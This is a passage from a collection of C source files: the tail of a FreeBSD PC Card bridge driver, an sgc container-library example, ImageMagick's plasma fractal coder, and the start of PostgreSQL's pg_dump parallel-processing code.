case 50: power |= CB_SP_VPP_5V; break; case 120: power |= CB_SP_VPP_12V; break; } bus_space_write_4(sp->bst, sp->bsh, CB_SOCKET_POWER, power); /* * OK. We need to bring the card out of reset. Let the power * stabilize for 300ms (why 300?) and then enable the outputs * and then wait 100ms (why 100?) for it to stabilize. These numbers * were stolen from the dim, dark past of OLDCARD and I have no clue * how they were derived. I also use the bit setting routines here * as a measure of conservatism. */ if (power) { pcic_setb(sp, PCIC_POWER, PCIC_DISRST); DELAY(300*1000); pcic_setb(sp, PCIC_POWER, PCIC_DISRST | PCIC_OUTENA); DELAY(100*1000); } else { pcic_clrb(sp, PCIC_POWER, PCIC_DISRST | PCIC_OUTENA); } return (0); } /* * pcic_power - Enable the power of the slot according to * the parameters in the power structure(s). */ static int pcic_power(struct slot *slt) { unsigned char c, c2; unsigned char reg = PCIC_DISRST | PCIC_PCPWRE; struct pcic_slot *sp = slt->cdata; struct pcic_slot *sp2; struct pcic_softc *sc = sp->sc; int dodefault = 0; char controller; /* * Cardbus power registers are completely different. */ if (sc->flags & PCIC_CARDBUS_POWER) return (pcic_cardbus_power(sp, slt)); if (bootverbose) device_printf(sc->dev, "Power: Vcc=%d Vpp=%d\n", slt->pwr.vcc, slt->pwr.vpp); /* * If we're automatically detecting what voltage to use, then we need * to ask the bridge what type (voltage-wise) the card is. */ if (slt->pwr.vcc == -1) { if (sc->flags & PCIC_DF_POWER) { /* * Look at the VS[12]# bits on the card. If VS1 is * clear then the card needs 3.3V instead of 5.0V. */ c = sp->getb(sp, PCIC_CDGC); if ((c & PCIC_VS1STAT) == 0) slt->pwr.vcc = 33; else slt->pwr.vcc = 50; } if (sc->flags & PCIC_PD_POWER) { /* * The 6710 does it one way, and the '22 and '29 do it * another. The '22 can also do it the same way as a * '10 does it, despite what the datasheets say. Some * laptops with '22 don't seem to have the signals * wired right for the '29 method to work. The * laptops that don't work hang solid when the pccard * memory is accessed. * * To allow for both types of laptops, * hw.pcic.pd6722_vsense will select which one to use. * 0 - none, 1 - the '10 way and 2 - the '29 way. */ controller = sp->controller; if (controller == PCIC_PD6722) { switch (pcic_pd6722_vsense) { case 1: controller = PCIC_PD6710; break; case 2: controller = PCIC_PD6729; break; } } switch (controller) { case PCIC_PD6710: c = sp->getb(sp, PCIC_MISC1); if ((c & PCIC_MISC1_5V_DETECT) == 0) slt->pwr.vcc = 33; else slt->pwr.vcc = 50; break; case PCIC_PD6722: /* see above for why we do */ break; /* none here */ case PCIC_PD6729: /* * VS[12] signals are in slot1's * extended reg 0xa for both slots. */ sp2 = &sc->slots[1]; sp2->putb(sp2, PCIC_EXT_IND, PCIC_EXT_DATA); c = sp2->getb(sp2, PCIC_EXTENDED); if (sp == sp2) /* slot 1 */ c >>= 2; if ((c & PCIC_VS1A) == 0) slt->pwr.vcc = 33; else slt->pwr.vcc = 50; break; default: /* I have no idea how to do this for others */ break; } /* * Regardless of the above, setting the Auto Power * Switch Enable appears to help. */ reg |= PCIC_APSENA; } if (sc->flags & PCIC_RICOH_POWER) { /* * The ISA bridge have the 5V/3.3V in register * 1, bit 7. However, 3.3V cards can only be * detected if GPI_EN is disabled. */ c = sp->getb(sp, PCIC_STATUS); c2 = sp->getb(sp, PCIC_CDGC); if ((c & PCIC_RICOH_5VCARD) && (c2 & PCIC_GPI_EN) == 0) slt->pwr.vcc = 33; else slt->pwr.vcc = 50; } /* Other power schemes here */ if (bootverbose && slt->pwr.vcc != -1) device_printf(sc->dev, "Autodetected %d.%dV card\n", slt->pwr.vcc / 10, slt->pwr.vcc %10); } if (slt->pwr.vcc == -1) { if (bootverbose) device_printf(sc->dev, "Couldn't autodetect voltage, assuming 5.0V\n"); dodefault = 1; slt->pwr.vcc = 50; } /* * XXX Note: The Vpp controls varies quit a bit between bridge chips * and the following might not be right in all cases. The Linux * code and wildboar code bases are more complex. However, most * applications want vpp == vcc and the following code does appear * to do that for all bridge sets. */ if (slt->pwr.vpp == -1) slt->pwr.vpp = slt->pwr.vcc; switch(slt->pwr.vpp) { default: return (EINVAL); case 0: break; case 50: case 33: reg |= PCIC_VPP_5V; break; case 120: reg |= PCIC_VPP_12V; break; } if (slt->pwr.vcc) reg |= PCIC_VCC_ON; /* Turn on Vcc */ switch(slt->pwr.vcc) { default: return (EINVAL); case 0: break; case 33: /* * The wildboar code has comments that state that * the IBM KING controller doesn't support 3.3V * on the "IBM Smart PC card drive". The code * intemates that's the only place they have seen * it used and that there's a boatload of issues * with it. I'm not even sure this is right because * the only docs I've been able to find say this is for * 5V power. Of course, this "doc" is just code comments * so who knows for sure. */ if (sc->flags & PCIC_KING_POWER) { reg |= PCIC_VCC_5V_KING; break; } if (sc->flags & PCIC_VG_POWER) { pcic_setb(sp, PCIC_CVSR, PCIC_CVSR_VS); break; } if (sc->flags & PCIC_PD_POWER) { pcic_setb(sp, PCIC_MISC1, PCIC_MISC1_VCC_33); break; } if (sc->flags & PCIC_RICOH_POWER) { pcic_setb(sp, PCIC_RICOH_MCR2, PCIC_MCR2_VCC_33); break; } if (sc->flags & PCIC_DF_POWER) reg |= PCIC_VCC_3V; break; case 50: if (sc->flags & PCIC_KING_POWER) reg |= PCIC_VCC_5V_KING; /* * For all of the variant power schemes for 3.3V go * ahead and turn off the 3.3V enable bit. For all * bridges, the setting the Vcc on bit does the rest. * Note that we don't have to turn off the 3.3V bit * for the '365 step D since with the reg assigments * to this point it doesn't get turned on. */ if (sc->flags & PCIC_VG_POWER) pcic_clrb(sp, PCIC_CVSR, PCIC_CVSR_VS); if (sc->flags & PCIC_PD_POWER) pcic_clrb(sp, PCIC_MISC1, PCIC_MISC1_VCC_33); if (sc->flags & PCIC_RICOH_POWER) pcic_clrb(sp, PCIC_RICOH_MCR2, PCIC_MCR2_VCC_33); break; } sp->putb(sp, PCIC_POWER, reg); if (bootverbose) device_printf(sc->dev, "Power applied\n"); DELAY(300*1000); if (slt->pwr.vcc) { reg |= PCIC_OUTENA; sp->putb(sp, PCIC_POWER, reg); if (bootverbose) device_printf(sc->dev, "Output enabled\n"); DELAY(100*1000); if (bootverbose) device_printf(sc->dev, "Settling complete\n"); } /* * Some chipsets will attempt to preclude us from supplying * 5.0V to cards that only handle 3.3V. We seem to need to * try 3.3V to paper over some power handling issues in other * parts of the system. Maybe the proper detection of 3.3V cards * now obviates the need for this hack, so put a printf in to * warn the world about it. */ if (!(sp->getb(sp, PCIC_STATUS) & PCIC_POW) && dodefault) { slt->pwr.vcc = 33; slt->pwr.vpp = 0; device_printf(sc->dev, "Failed at 5.0V. Trying 3.3V. Please report message to [email protected]\n"); return (pcic_power(slt)); } if (bootverbose) printf("Power complete.\n"); return (0); } /* * tell the PCIC which irq we want to use. only the following are legal: * 3, 4, 5, 7, 9, 10, 11, 12, 14, 15. We require the callers of this * routine to do the check for legality. */ static void pcic_mapirq(struct slot *slt, int irq) { struct pcic_slot *sp = slt->cdata; sp->sc->chip->map_irq(sp, irq); } /* * pcic_reset - Reset the card and enable initial power. This may * need to be interrupt driven in the future. We should likely turn * the reset on, DELAY for a period of time < 250ms, turn it off and * tsleep for a while and check it when we're woken up. I think that * we're running afoul of the card status interrupt glitching, causing * an interrupt storm because the card doesn't seem to be able to * clear this pin while in reset. */ static void pcic_reset(void *chan) { struct slot *slt = chan; struct pcic_slot *sp = slt->cdata; if (bootverbose) device_printf(sp->sc->dev, "reset %d ", slt->insert_seq); switch (slt->insert_seq) { case 0: /* Something funny happended on the way to the pub... */ if (bootverbose) printf("\n"); return; case 1: /* Assert reset */ pcic_clrb(sp, PCIC_INT_GEN, PCIC_CARDRESET); if (bootverbose) printf("int is %x stat is %x\n", sp->getb(sp, PCIC_INT_GEN), sp->getb(sp, PCIC_STATUS)); slt->insert_seq = 2; timeout(pcic_reset, (void *)slt, hz/4); return; case 2: /* Deassert it again */ pcic_setb(sp, PCIC_INT_GEN, PCIC_CARDRESET | PCIC_IOCARD); if (bootverbose) printf("int is %x stat is %x\n", sp->getb(sp, PCIC_INT_GEN), sp->getb(sp, PCIC_STATUS)); slt->insert_seq = 3; timeout(pcic_reset, (void *)slt, hz/4); return; case 3: /* Wait if card needs more time */ if (bootverbose) printf("int is %x stat is %x\n", sp->getb(sp, PCIC_INT_GEN), sp->getb(sp, PCIC_STATUS)); if ((sp->getb(sp, PCIC_STATUS) & PCIC_READY) == 0) { timeout(pcic_reset, (void *)slt, hz/10); return; } } slt->insert_seq = 0; if (sp->controller == PCIC_PD6722 || sp->controller == PCIC_PD6710) { sp->putb(sp, PCIC_TIME_SETUP0, 0x1); sp->putb(sp, PCIC_TIME_CMD0, 0x6); sp->putb(sp, PCIC_TIME_RECOV0, 0x0); sp->putb(sp, PCIC_TIME_SETUP1, 1); sp->putb(sp, PCIC_TIME_CMD1, 0xf); sp->putb(sp, PCIC_TIME_RECOV1, 0); } selwakeup(&slt->selp); } /* * pcic_disable - Disable the slot. I wonder if these operations can * cause an interrupt we need to acknowledge? XXX */ static void pcic_disable(struct slot *slt) { struct pcic_slot *sp = slt->cdata; pcic_clrb(sp, PCIC_INT_GEN, PCIC_CARDTYPE | PCIC_CARDRESET); pcic_mapirq(slt, 0); slt->pwr.vcc = slt->pwr.vpp = 0; pcic_power(slt); } /* * pcic_resume - Suspend/resume support for PCIC */ static void pcic_resume(struct slot *slt) { struct pcic_slot *sp = slt->cdata; pcic_do_mgt_irq(sp, slt->irq); if (sp->controller == PCIC_PD6722) { pcic_setb(sp, PCIC_MISC1, PCIC_MISC1_SPEAKER); pcic_setb(sp, PCIC_MISC2, PCIC_LPDM_EN); } if (sp->slt->state != inactive) pcic_do_stat_delta(sp); } int pcic_activate_resource(device_t dev, device_t child, int type, int rid, struct resource *r) { struct pccard_devinfo *devi = device_get_ivars(child); int err; if (dev != device_get_parent(device_get_parent(child)) || devi == NULL) return (bus_generic_activate_resource(dev, child, type, rid, r)); switch (type) { case SYS_RES_IOPORT: { struct io_desc *ip; ip = &devi->slt->io[rid]; if (ip->flags == 0) { if (rid == 0) ip->flags = IODF_WS | IODF_16BIT | IODF_CS16; else ip->flags = devi->slt->io[0].flags; } ip->flags |= IODF_ACTIVE; ip->start = rman_get_start(r); ip->size = rman_get_end(r) - rman_get_start(r) + 1; err = pcic_io(devi->slt, rid); if (err) return (err); break; } case SYS_RES_IRQ: /* * We actually defer the activation of the IRQ resource * until the interrupt is registered to avoid stray * interrupt messages. */ break; case SYS_RES_MEMORY: { struct mem_desc *mp; if (rid >= NUM_MEM_WINDOWS) return (EINVAL); mp = &devi->slt->mem[rid]; mp->flags |= MDF_ACTIVE; mp->start = (caddr_t) rman_get_start(r); mp->size = rman_get_end(r) - rman_get_start(r) + 1; err = pcic_memory(devi->slt, rid); if (err) return (err); break; } default: break; } err = bus_generic_activate_resource(dev, child, type, rid, r); return (err); } int pcic_deactivate_resource(device_t dev, device_t child, int type, int rid, struct resource *r) { struct pccard_devinfo *devi = device_get_ivars(child); int err; if (dev != device_get_parent(device_get_parent(child)) || devi == NULL) return (bus_generic_deactivate_resource(dev, child, type, rid, r)); switch (type) { case SYS_RES_IOPORT: { struct io_desc *ip = &devi->slt->io[rid]; ip->flags &= ~IODF_ACTIVE; err = pcic_io(devi->slt, rid); if (err) return (err); break; } case SYS_RES_IRQ: break; case SYS_RES_MEMORY: { struct mem_desc *mp = &devi->slt->mem[rid]; mp->flags &= ~(MDF_ACTIVE | MDF_ATTR); err = pcic_memory(devi->slt, rid); if (err) return (err); break; } default: break; } err = bus_generic_deactivate_resource(dev, child, type, rid, r); return (err); } int pcic_setup_intr(device_t dev, device_t child, struct resource *irq, int flags, driver_intr_t *intr, void *arg, void **cookiep) { struct pccard_devinfo *devi = device_get_ivars(child); int err; if (((1 << rman_get_start(irq)) & PCIC_INT_MASK_ALLOWED) == 0) { device_printf(dev, "Hardware does not support irq %ld.\n", rman_get_start(irq)); return (EINVAL); } err = bus_generic_setup_intr(dev, child, irq, flags, intr, arg, cookiep); if (err == 0) pcic_mapirq(devi->slt, rman_get_start(irq)); else device_printf(dev, "Error %d irq %ld\n", err, rman_get_start(irq)); return (err); } int pcic_teardown_intr(device_t dev, device_t child, struct resource *irq, void *cookie) { struct pccard_devinfo *devi = device_get_ivars(child); pcic_mapirq(devi->slt, 0); return (bus_generic_teardown_intr(dev, child, irq, cookie)); } int pcic_set_res_flags(device_t bus, device_t child, int restype, int rid, u_long value) { struct pccard_devinfo *devi = device_get_ivars(child); int err = 0; switch (restype) { case SYS_RES_MEMORY: { struct mem_desc *mp = &devi->slt->mem[rid]; switch (value) { case PCCARD_A_MEM_COM: mp->flags &= ~MDF_ATTR; break; case PCCARD_A_MEM_ATTR: mp->flags |= MDF_ATTR; break; case PCCARD_A_MEM_8BIT: mp->flags &= ~MDF_16BITS; break; case PCCARD_A_MEM_16BIT: mp->flags |= MDF_16BITS; break; } err = pcic_memory(devi->slt, rid); break; } default: err = EOPNOTSUPP; } return (err); } int pcic_get_res_flags(device_t bus, device_t child, int restype, int rid, u_long *value) { struct pccard_devinfo *devi = device_get_ivars(child); int err = 0; if (value == 0) return (ENOMEM); switch (restype) { case SYS_RES_IOPORT: { struct io_desc *ip = &devi->slt->io[rid]; *value = ip->flags; break; } case SYS_RES_MEMORY: { struct mem_desc *mp = &devi->slt->mem[rid]; *value = mp->flags; break; } default: err = EOPNOTSUPP; } return (err); } int pcic_set_memory_offset(device_t bus, device_t child, int rid, u_int32_t offset #if __FreeBSD_version >= 500000 ,u_int32_t *deltap #endif ) { struct pccard_devinfo *devi = device_get_ivars(child); struct mem_desc *mp = &devi->slt->mem[rid]; mp->card = offset; #if __FreeBSD_version >= 500000 if (deltap) *deltap = 0; /* XXX BAD XXX */ #endif return (pcic_memory(devi->slt, rid)); } int pcic_get_memory_offset(device_t bus, device_t child, int rid, u_int32_t *offset) { struct pccard_devinfo *devi = device_get_ivars(child); struct mem_desc *mp = &devi->slt->mem[rid]; if (offset == 0) return (ENOMEM); *offset = mp->card; return (0); } struct resource * pcic_alloc_resource(device_t dev, device_t child, int type, int *rid, u_long start, u_long end, u_long count, u_int flags) { struct pcic_softc *sc = device_get_softc(dev); /* * If we're routing via pci, we can share. */ if (sc->func_route == pcic_iw_pci && type == SYS_RES_IRQ) { if (bootverbose) device_printf(child, "Forcing IRQ to %d\n", sc->irq); start = end = sc->irq; flags |= RF_SHAREABLE; } return (bus_generic_alloc_resource(dev, child, type, rid, start, end, count, flags)); } void pcic_do_stat_delta(struct pcic_slot *sp) { if ((sp->getb(sp, PCIC_STATUS) & PCIC_CD) != PCIC_CD) pccard_event(sp->slt, card_removed); else pccard_event(sp->slt, card_inserted); } /* * Wrapper function for pcicintr so that signatures match. */ void pcic_isa_intr(void *arg) { pcic_isa_intr1(arg); } /* * PCIC timer. If the controller doesn't have a free IRQ to use * or if interrupt steering doesn't work, poll the controller for * insertion/removal events. */ void pcic_timeout(void *chan) { struct pcic_softc *sc = (struct pcic_softc *) chan; if (pcic_isa_intr1(chan) != 0) { device_printf(sc->dev, "Static bug detected, ignoring hardware."); sc->slot_poll = 0; return; } sc->timeout_ch = timeout(sc->slot_poll, chan, hz/2); } /* * PCIC Interrupt handler. * Check each slot in turn, and read the card status change * register. If this is non-zero, then a change has occurred * on this card, so send an event to the main code. */ int pcic_isa_intr1(void *arg) { int slot, s; u_int8_t chg; struct pcic_softc *sc = (struct pcic_softc *) arg; struct pcic_slot *sp = &sc->slots[0]; s = splhigh(); for (slot = 0; slot < PCIC_CARD_SLOTS; slot++, sp++) { if (sp->slt == NULL) continue; if ((chg = sp->getb(sp, PCIC_STAT_CHG)) != 0) { /* * if chg is 0xff, then we know that we've hit * the famous "static bug" for some desktop * pcmcia cards. This is caused by static * discharge frying the poor card's mind and * it starts return 0xff forever. We return * an error and stop polling the card. When * we're interrupt based, we never see this. * The card just goes away silently. */ if (chg == 0xff) { splx(s); return (EIO); } if (chg & PCIC_CDTCH) pcic_do_stat_delta(sp); } } splx(s); return (0); } int pcic_isa_mapirq(struct pcic_slot *sp, int irq) { irq = host_irq_to_pcic(irq); if (irq == 0) pcic_clrb(sp, PCIC_INT_GEN, 0xF); else sp->putb(sp, PCIC_INT_GEN, (sp->getb(sp, PCIC_INT_GEN) & 0xF0) | irq); return (0); }
325224.c
#include <sgc/map.h> #include <sgc/string.h> #include <sgc/vector.h> #include <stdio.h> // str <=> char* with init, copy, free and other mandatory sgc functions SGC_INIT_STRING(str) // vec <=> vector<string> SGC_INIT(VECTOR, str, vec) // map <=> map<string, int> SGC_INIT_DICT(MAP, str, int, map) void string_vec_example(void) { vec v; vec_init(&v); vec_push_back(&v, "just"); vec_push_back(&v, "some"); vec_push_back(&v, "strings"); printf("vec:\n"); for_each(i IN v AS vec) { printf("- %s\n", *i); } printf("\nreplace 'some' with 'random'\n"); vec_set(&v, 1, "random"); printf("vec:\n"); for_each(i IN v AS vec) { printf("- %s\n", *i); } vec_free(&v); } void string_map_example(void) { map m; map_init(&m); map_set(&m, "key1", 1); map_set(&m, "key2", 2); printf("map:\n"); for_each(i IN m AS map) { printf("- %s: %d\n", i->key, i->value); } printf("\nerase 'key1'\n"); map_erase(&m, "key1"); printf("map:\n"); for_each(i IN m AS map) { printf("- %s: %d\n", i->key, i->value); } map_free(&m); } int main(void) { printf("vector of strings example: \n"); string_vec_example(); printf("\nmap string to int example: \n"); string_map_example(); return 0; }
910915.c
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP L AAA SSSSS M M AAA % % P P L A A SS MM MM A A % % PPPP L AAAAA SSS M M M AAAAA % % P L A A SS M M A A % % P LLLLL A A SSSSS M M A A % % % % % % Read a Plasma Image. % % % % Software Design % % Cristy % % July 1992 % % % % % % Copyright 1999-2019 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % https://imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "MagickCore/studio.h" #include "MagickCore/blob.h" #include "MagickCore/blob-private.h" #include "MagickCore/cache.h" #include "MagickCore/channel.h" #include "MagickCore/constitute.h" #include "MagickCore/exception.h" #include "MagickCore/exception-private.h" #include "MagickCore/fx.h" #include "MagickCore/image.h" #include "MagickCore/image-private.h" #include "MagickCore/list.h" #include "MagickCore/magick.h" #include "MagickCore/memory_.h" #include "MagickCore/monitor.h" #include "MagickCore/monitor-private.h" #include "MagickCore/pixel-accessor.h" #include "MagickCore/random_.h" #include "MagickCore/random-private.h" #include "MagickCore/signature-private.h" #include "MagickCore/quantum-private.h" #include "MagickCore/static.h" #include "MagickCore/string_.h" #include "MagickCore/module.h" /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P L A S M A I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPlasmaImage creates a plasma fractal image. The image is % initialized to the X server color as specified by the filename. % % The format of the ReadPlasmaImage method is: % % Image *ReadPlasmaImage(const ImageInfo *image_info, % ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static inline void PlasmaPixel(Image *image,RandomInfo *random_info,double x, double y,ExceptionInfo *exception) { register Quantum *q; q=GetAuthenticPixels(image,(ssize_t) ceil(x-0.5),(ssize_t) ceil(y-0.5),1,1, exception); if (q == (Quantum *) NULL) return; SetPixelRed(image,ScaleShortToQuantum((unsigned short) (65535.0* GetPseudoRandomValue(random_info)+0.5)),q); SetPixelGreen(image,ScaleShortToQuantum((unsigned short) (65535.0* GetPseudoRandomValue(random_info)+0.5)),q); SetPixelBlue(image,ScaleShortToQuantum((unsigned short) (65535.0* GetPseudoRandomValue(random_info)+0.5)),q); (void) SyncAuthenticPixels(image,exception); } static Image *ReadPlasmaImage(const ImageInfo *image_info, ExceptionInfo *exception) { Image *image; ImageInfo *read_info; MagickBooleanType status; register ssize_t x; register Quantum *q; register size_t i; SegmentInfo segment_info; size_t depth, max_depth; ssize_t y; /* Recursively apply plasma to the image. */ read_info=CloneImageInfo(image_info); SetImageInfoBlob(read_info,(void *) NULL,0); (void) FormatLocaleString(read_info->filename,MagickPathExtent, "gradient:%s",image_info->filename); image=ReadImage(read_info,exception); read_info=DestroyImageInfo(read_info); if (image == (Image *) NULL) return((Image *) NULL); (void) SetImageStorageClass(image,DirectClass,exception); for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelAlpha(image,QuantumRange/2,q); q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } segment_info.x1=0; segment_info.y1=0; segment_info.x2=(double) image->columns-1; segment_info.y2=(double) image->rows-1; if (LocaleCompare(image_info->filename,"fractal") == 0) { RandomInfo *random_info; /* Seed pixels before recursion. */ (void) SetImageColorspace(image,sRGBColorspace,exception); random_info=AcquireRandomInfo(); PlasmaPixel(image,random_info,segment_info.x1,segment_info.y1,exception); PlasmaPixel(image,random_info,segment_info.x1,(segment_info.y1+ segment_info.y2)/2,exception); PlasmaPixel(image,random_info,segment_info.x1,segment_info.y2,exception); PlasmaPixel(image,random_info,(segment_info.x1+segment_info.x2)/2, segment_info.y1,exception); PlasmaPixel(image,random_info,(segment_info.x1+segment_info.x2)/2, (segment_info.y1+segment_info.y2)/2,exception); PlasmaPixel(image,random_info,(segment_info.x1+segment_info.x2)/2, segment_info.y2,exception); PlasmaPixel(image,random_info,segment_info.x2,segment_info.y1,exception); PlasmaPixel(image,random_info,segment_info.x2,(segment_info.y1+ segment_info.y2)/2,exception); PlasmaPixel(image,random_info,segment_info.x2,segment_info.y2,exception); random_info=DestroyRandomInfo(random_info); } i=(size_t) MagickMax(image->columns,image->rows)/2; for (max_depth=0; i != 0; max_depth++) i>>=1; for (depth=1; ; depth++) { if (PlasmaImage(image,&segment_info,0,depth,exception) != MagickFalse) break; status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) depth, max_depth); if (status == MagickFalse) break; } return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P L A S M A I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPLASMAImage() adds attributes for the Plasma image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPLASMAImage method is: % % size_t RegisterPLASMAImage(void) % */ ModuleExport size_t RegisterPLASMAImage(void) { MagickInfo *entry; entry=AcquireMagickInfo("PLASMA","PLASMA","Plasma fractal image"); entry->decoder=(DecodeImageHandler *) ReadPlasmaImage; entry->flags^=CoderAdjoinFlag; entry->format_type=ImplicitFormatType; (void) RegisterMagickInfo(entry); entry=AcquireMagickInfo("PLASMA","FRACTAL","Plasma fractal image"); entry->decoder=(DecodeImageHandler *) ReadPlasmaImage; entry->flags^=CoderAdjoinFlag; entry->format_type=ImplicitFormatType; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P L A S M A I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPLASMAImage() removes format registrations made by the % PLASMA module from the list of supported formats. % % The format of the UnregisterPLASMAImage method is: % % UnregisterPLASMAImage(void) % */ ModuleExport void UnregisterPLASMAImage(void) { (void) UnregisterMagickInfo("FRACTAL"); (void) UnregisterMagickInfo("PLASMA"); }
165076.c
/*------------------------------------------------------------------------- * * parallel.c * * Parallel support for pg_dump and pg_restore * * Portions Copyright (c) 1996-2015, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * IDENTIFICATION * src/bin/pg_dump/parallel.c * *------------------------------------------------------------------------- */ /* * Parallel operation works like this: * * The original, master process calls ParallelBackupStart(), which forks off * the desired number of worker processes, which each enter WaitForCommands(). * * The master process dispatches an individual work item to one of the worker * processes in DispatchJobForTocEntry(). That calls * AH->MasterStartParallelItemPtr, a routine of the output format. This * function's arguments are the parents archive handle AH (containing the full * catalog information), the TocEntry that the worker should work on and a * T_Action value indicating whether this is a backup or a restore task. The * function simply converts the TocEntry assignment into a command string that * is then sent over to the worker process. In the simplest case that would be * something like "DUMP 1234", with 1234 being the TocEntry id. * * The worker process receives and decodes the command and passes it to the * routine pointed to by AH->WorkerJobDumpPtr or AH->WorkerJobRestorePtr, * which are routines of the current archive format. That routine performs * the required action (dump or restore) and returns a malloc'd status string. * The status string is passed back to the master where it is interpreted by * AH->MasterEndParallelItemPtr, another format-specific routine. That * function can update state or catalog information on the master's side, * depending on the reply from the worker process. In the end it returns a * status code, which is 0 for successful execution. * * Remember that we have forked off the workers only after we have read in * the catalog. That's why our worker processes can also access the catalog * information. (In the Windows case, the workers are threads in the same * process. To avoid problems, they work with cloned copies of the Archive * data structure; see RunWorker().) * * In the master process, the workerStatus field for each worker has one of * the following values: * WRKR_IDLE: it's waiting for a command * WRKR_WORKING: it's been sent a command * WRKR_FINISHED: it's returned a result * WRKR_TERMINATED: process ended (or not started yet) * The FINISHED state indicates that the worker is idle, but we've not yet * dealt with the status code it returned from the prior command. * ReapWorkerStatus() extracts the unhandled command status value and sets * the workerStatus back to WRKR_IDLE. */ #include "postgres_fe.h" #ifdef HAVE_SYS_SELECT_H #include <sys/select.h> #endif #include "parallel.h" #include "pg_backup_utils.h" #ifndef WIN32 #include <sys/types.h> #include <sys/wait.h> #include "signal.h" #include <unistd.h> #include <fcntl.h> #endif /* Mnemonic macros for indexing the fd array returned by pipe(2) */ #define PIPE_READ 0 #define PIPE_WRITE 1 #ifdef WIN32 /* * Structure to hold info passed by _beginthreadex() to the function it calls * via its single allowed argument. */ typedef struct { ArchiveHandle *AH; /* master database connection */ ParallelSlot *slot; /* this worker's parallel slot */ } WorkerInfo; /* Windows implementation of pipe access */ static int pgpipe(int handles[2]); static int piperead(int s, char *buf, int len); #define pipewrite(a,b,c) send(a,b,c,0) #else /* !WIN32 */ /* Non-Windows implementation of pipe access */ #define pgpipe(a) pipe(a) #define piperead(a,b,c) read(a,b,c) #define pipewrite(a,b,c) write(a,b,c) #endif /* WIN32 */ /* * State info for archive_close_connection() shutdown callback. */ typedef struct ShutdownInformation { ParallelState *pstate; Archive *AHX; } ShutdownInformation; static ShutdownInformation shutdown_info; /* * State info for signal handling. * We assume signal_info initializes to zeroes. * * On Unix, myAH is the master DB connection in the master process, and the * worker's own connection in worker processes. On Windows, we have only one * instance of signal_info, so myAH is the master connection and the worker * connections must be dug out of pstate->parallelSlot[]. */ typedef struct DumpSignalInformation { ArchiveHandle *myAH; /* database connection to issue cancel for */ ParallelState *pstate; /* parallel state, if any */ bool handler_set; /* signal handler set up in this process? */ #ifndef WIN32 bool am_worker; /* am I a worker process? */ #endif } DumpSignalInformation; static volatile DumpSignalInformation signal_info; #ifdef WIN32 static CRITICAL_SECTION signal_info_lock; #endif /* * Write a simple string to stderr --- must be safe in a signal handler. * We ignore the write() result since there's not much we could do about it. * Certain compilers make that harder than it ought to be. */ #define write_stderr(str) \ do { \ const char *str_ = (str); \ int rc_; \ rc_ = write(fileno(stderr), str_, strlen(str_)); \ (void) rc_; \ } while (0) #ifdef WIN32 /* file-scope variables */ static DWORD tls_index; /* globally visible variables (needed by exit_nicely) */ bool parallel_init_done = false; DWORD mainThreadId; #endif /* WIN32 */ static const char *modulename = gettext_noop("parallel archiver"); /* Local function prototypes */ static ParallelSlot *GetMyPSlot(ParallelState *pstate); static void archive_close_connection(int code, void *arg); static void ShutdownWorkersHard(ParallelState *pstate); static void WaitForTerminatingWorkers(ParallelState *pstate); static void setup_cancel_handler(void); static void set_cancel_pstate(ParallelState *pstate); static void set_cancel_slot_archive(ParallelSlot *slot, ArchiveHandle *AH); static void RunWorker(ArchiveHandle *AH, ParallelSlot *slot); static bool HasEveryWorkerTerminated(ParallelState *pstate); static void lockTableForWorker(ArchiveHandle *AH, TocEntry *te); static void WaitForCommands(ArchiveHandle *AH, int pipefd[2]); static char *getMessageFromMaster(int pipefd[2]); static void sendMessageToMaster(int pipefd[2], const char *str); static int select_loop(int maxFd, fd_set *workerset); static char *getMessageFromWorker(ParallelState *pstate, bool do_wait, int *worker); static void sendMessageToWorker(ParallelState *pstate, int worker, const char *str); static char *readMessageFromPipe(int fd); #define messageStartsWith(msg, prefix) \ (strncmp(msg, prefix, strlen(prefix)) == 0) #define messageEquals(msg, pattern) \ (strcmp(msg, pattern) == 0) /* * Initialize parallel dump support --- should be called early 